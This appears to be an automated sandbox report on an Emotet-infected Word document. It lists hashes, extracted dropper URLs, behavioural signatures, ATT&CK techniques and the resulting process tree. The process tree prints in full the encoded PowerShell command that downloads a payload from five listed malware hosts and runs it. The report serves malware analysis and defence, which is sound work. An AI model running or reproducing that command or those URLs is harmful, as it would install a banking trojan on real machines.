emotet | 1e9ade92ccd1bfbd58331bb762265e7d5bb40cf74f8d0c743838638d2a27edbe

General

Target
emotet_e2_1e9ade92ccd1bfbd58331bb762265e7d5bb40cf74f8d0c743838638d2a27edbe_2020-08-11__113724._doc.doc
Size 224KB
Sample200811-ml9ejfyrln
SHA256 1e9ade92ccd1bfbd58331bb762265e7d5bb40cf74f8d0c743838638d2a27edbe
MD5 a10bfce2730435a3c24e5e8ce0c17e34
SHA1 0554d41441dcfcaa6d2dc87026099f540904d501
SHA512 8bcc1bf6252d40f9edee6517d4a8e3561b43162627a62038a01841cdfcbc464a92f0727afeacfe663e0a69db50e2233a4013d3f2c1954dbe86bfe24e4d20cea5
MD5 SHA1 SHA512

Score

10^/10

trojan banker emotet

Malware Config

Extracted

Language

ps1

Source

URLs

exe.dropper
http://elnoursteel-eg.com/admin/nx5ea_v0af_ukpya/
exe.dropper
http://esdev.mumara.com/js/x7_k_qbuis80o/
exe.dropper
http://www.earthpath.com/EarthPath/cmr4_oof1y_s/
exe.dropper
http://ensanz.com/zg3lo_dsy_knb1n/
exe.dropper
https://ergosnooze.com/wp-content/b7nwa_2b_y/

Signatures

Emotet
Emotet is a trojan that is primarily spread through spam emails.
trojan banker emotet

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2568	1064	powersheLL.exe	66

Emotet Payload 4 IoCs

Detects Emotet payload in memory.

resource	yara_rule
behavioral2/memory/4032-12-0x00000000007E0000-0x00000000007EC000-memory.dmp	emotet
behavioral2/memory/4032-12-0x00000000007E0000-0x00000000007EC000-memory.dmp	emotet
behavioral2/memory/3836-15-0x00000000013B0000-0x00000000013BC000-memory.dmp	emotet
behavioral2/memory/3836-15-0x00000000013B0000-0x00000000013BC000-memory.dmp	emotet

Blacklisted process makes network request 1 IoCs

flow	pid	Process
19	2568	powersheLL.exe

Executes dropped EXE 2 IoCs

pid	Process
4032	573.exe
3836	SystemPropertiesDataExecutionPrevention.exe

Drops file in System32 directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\SysWOW64\d3dxof\SystemPropertiesDataExecutionPrevention.exe	573.exe

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WINWORD.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WINWORD.EXE

Suspicious behavior: AddClipboardFormatListener 2 IoCs

pid	Process
496	WINWORD.EXE
496	WINWORD.EXE

Suspicious behavior: EnumeratesProcesses 7 IoCs

pid	Process
2568	powersheLL.exe
2568	powersheLL.exe
2568	powersheLL.exe
3836	SystemPropertiesDataExecutionPrevention.exe
3836	SystemPropertiesDataExecutionPrevention.exe
3836	SystemPropertiesDataExecutionPrevention.exe
3836	SystemPropertiesDataExecutionPrevention.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	2568	powersheLL.exe

Suspicious use of SetWindowsHookEx 9 IoCs

pid	Process
496	WINWORD.EXE
496	WINWORD.EXE
496	WINWORD.EXE
496	WINWORD.EXE
496	WINWORD.EXE
496	WINWORD.EXE
496	WINWORD.EXE
496	WINWORD.EXE
496	WINWORD.EXE

Suspicious use of WriteProcessMemory 3 IoCs

description	pid	Process	procid_target
PID 4032 wrote to memory of 3836	4032	573.exe	77
PID 4032 wrote to memory of 3836	4032	573.exe	77
PID 4032 wrote to memory of 3836	4032	573.exe	77

C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\emotet_e2_1e9ade92ccd1bfbd58331bb762265e7d5bb40cf74f8d0c743838638d2a27edbe_2020-08-11__113724._doc.doc" /o ""
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
PID:496

C:\Windows\System32\WindowsPowerShell\v1.0\powersheLL.exe
powersheLL -e JABCAFoATQBKAFgAbgBvAHEAPQAnAFkAVwBQAEQAUABqAGIAeQAnADsAWwBOAGUAdAAuAFMAZQByAHYAaQBjAGUAUABvAGkAbgB0AE0AYQBuAGEAZwBlAHIAXQA6ADoAIgBzAGUAYwB1AHIASQB0AFkAUABSAGAAbwB0AGAAbwBDAGAAbwBMACIAIAA9ACAAJwB0AGwAcwAxADIALAAgAHQAbABzADEAMQAsACAAdABsAHMAJwA7ACQARABIAEIAVABHAGgAeAB6ACAAPQAgACcANQA3ADMAJwA7ACQASABVAFcAQgBGAHgAcgB0AD0AJwBSAEcARgBZAFIAYwBvAGYAJwA7ACQASQBNAEoAWQBNAHUAcwBvAD0AJABlAG4AdgA6AHUAcwBlAHIAcAByAG8AZgBpAGwAZQArACcAXAAnACsAJABEAEgAQgBUAEcAaAB4AHoAKwAnAC4AZQB4AGUAJwA7ACQAWQBQAFYASwBWAHIAdAByAD0AJwBBAFMAUgBSAEgAcwB3AHIAJwA7ACQAVABHAFoARwBQAG0AaABiAD0AJgAoACcAbgBlAHcAJwArACcALQBvAGIAagBlACcAKwAnAGMAdAAnACkAIABOAEUAdAAuAHcAZQBiAEMAbABJAEUATgB0ADsAJABGAEcAUQBVAFUAbQB2AGIAPQAnAGgAdAB0AHAAOgAvAC8AZQBsAG4AbwB1AHIAcwB0AGUAZQBsAC0AZQBnAC4AYwBvAG0ALwBhAGQAbQBpAG4ALwBuAHgANQBlAGEAXwB2ADAAYQBmAF8AdQBrAHAAeQBhAC8AKgBoAHQAdABwADoALwAvAGUAcwBkAGUAdgAuAG0AdQBtAGEAcgBhAC4AYwBvAG0ALwBqAHMALwB4ADcAXwBrAF8AcQBiAHUAaQBzADgAMABvAC8AKgBoAHQAdABwADoALwAvAHcAdwB3AC4AZQBhAHIAdABoAHAAYQB0AGgALgBjAG8AbQAvAEUAYQByAHQAaABQAGEAdABoAC8AYwBtAHIANABfAG8AbwBmADEAeQBfAHMALwAqAGgAdAB0AHAAOgAvAC8AZQBuAHMAYQBuAHoALgBjAG8AbQAvAHoAZwAzAGwAbwBfAGQAcwB5AF8AawBuAGIAMQBuAC8AKgBoAHQAdABwAHMAOgAvAC8AZQByAGcAbwBzAG4AbwBvAHoAZQAuAGMAbwBtAC8AdwBwAC0AYwBvAG4AdABlAG4AdAAvAGIANwBuAHcAYQBfADIAYgBfAHkALwAnAC4AIgBTAGAAcABsAEkAVAAiACgAWwBjAGgAYQByAF0ANAAyACkAOwAkAEYAWABIAE0ARgB1AHgAeQA9ACcAVABYAFgAQQBCAGQAZAB6ACcAOwBmAG8AcgBlAGEAYwBoACgAJABMAE0ATQBXAFEAdgBxAGYAIABpAG4AIAAkAEYARwBRAFUAVQBtAHYAYgApAHsAdAByAHkAewAkAFQARwBaAEcAUABtAGgAYgAuACIARABgAG8AYAB3AE4AbABvAGEARABmAEkAbABFACIAKAAkAEwATQBNAFcAUQB2AHEAZgAsACAAJABJAE0ASgBZAE0AdQBzAG8AKQA7ACQARgBYAFkARgBJAG8AeAByAD0AJwBZAEEAWQBNAEMAYQBkAGkAJwA7AEkAZgAgACgAKAAuACgAJwBHAGUAdAAtAEkAdAAnACsAJwBlAG0AJwApACAAJABJAE0ASgBZAE0AdQBzAG8AKQAuACIAbABgAGUAbgBHAHQAaAAiACAALQBnAGUAIAAyADYANAAxADMAKQAgAHsAKABbAHcAbQBpAGMAbABhAHMAcwBdACcAdwBpAG4AMwAyAF8AUAByAG8AYwBlAHMAcwAnACkALgAiAGMAUgBFAGEAYABUAEUAIgAoACQASQBNAEoAWQBNAHUAcwBvACkAOwAkAE0ASgBCAE0AVwB1AGEAdAA9ACcAWgBRAE4ATgBIAHMAcQB1ACcAOwBiAHIAZQBhAGsAOwAkAEEAUABTAE8ATwBzAHkAeQA9ACcARwBWAFgAWABTAHYAbgBuACcAfQB9AGMAYQB0AGMAaAB7AH0AfQAkAEUASwBDAEsASAB1AHcAcgA9ACcASwBNAFEAVQBNAGYAZABpACcA
1⤵
- Process spawned unexpected child process
- Blacklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2568

C:\Users\Admin\573.exe
C:\Users\Admin\573.exe
1⤵
- Executes dropped EXE
- Drops file in System32 directory
- Suspicious use of WriteProcessMemory
PID:4032
- C:\Windows\SysWOW64\d3dxof\SystemPropertiesDataExecutionPrevention.exe
  "C:\Windows\SysWOW64\d3dxof\SystemPropertiesDataExecutionPrevention.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious behavior: EnumeratesProcesses
  PID:3836

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

2

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

memory/496-0-0x00007FF8FF960000-0x00007FF900026000-memory.dmp

Download

memory/2568-7-0x00007FF8F7E60000-0x00007FF8F884C000-memory.dmp

Download

memory/2568-8-0x0000025BB4820000-0x0000025BB4821000-memory.dmp

Download

memory/2568-9-0x0000025BB4B90000-0x0000025BB4B91000-memory.dmp

Download

memory/3836-15-0x00000000013B0000-0x00000000013BC000-memory.dmp

Download

memory/4032-12-0x00000000007E0000-0x00000000007EC000-memory.dmp

Download

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v6

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Downloads